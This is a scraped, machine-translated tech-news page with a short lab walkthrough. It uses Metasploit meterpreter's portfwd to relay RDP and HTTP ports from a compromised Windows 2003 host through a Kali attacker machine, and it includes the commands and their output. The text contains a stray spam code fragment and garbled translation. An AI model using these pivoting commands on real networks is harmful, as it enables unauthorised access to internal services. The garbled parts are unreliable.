Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Based on Portfwd port forwarding

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >

Share

Shulou(Shulou.com)06/01 Report--

Portfwd is a powerful port forwarding tool that supports TCP,UDP and IPV4--IPV6 translation forwarding. And built into meterpreter. The source code of single version of exe is as follows:

Https://github.com/rssnsj/portfwd

Recurrence process

Attack aircraft: 192.168.1.5 Debian (Kali)

Target machine: 192.168.1.4 Windows7

192.168.1.119 Windows 2003

Sessions-l looks at all msf connections and sees a connection to windows 03 traffic, from 192.168.1.1 to 192.168.1.119

Session-l View session

Target aircraft IP is: 192.168.1.119---windows 2003---x64

Function () {/ / Foreign Exchange tracking www.gendan5.com

The port that needs to be forwarded is: 800.3389

Select number 1 in the connection, only one, so this is the only choice.

Continue the above picture

Portfwd-h View usage

Attack execution

1 meterpreter > portfwd add-l 33389-r 192.168.1.119-p 3389

2 [*] Local TCP relay created:: 33389 192.168.1.119: 3389

3 meterpreter > portfwd add-l 30080-r 192.168.1.119-p 80

4 [*] Local TCP relay created:: 30080 192.168.1.119: 80

5 meterpreter > portfwd

6 Index Local RemoteDirection

7 1 0.0.0.0: 33389 192.168.1.119: 3389 Forward

8 2 0.0.0.0: 30080 192.168.1.119: 80 Forward

9 2 total active port forwards.

Success

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Database

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report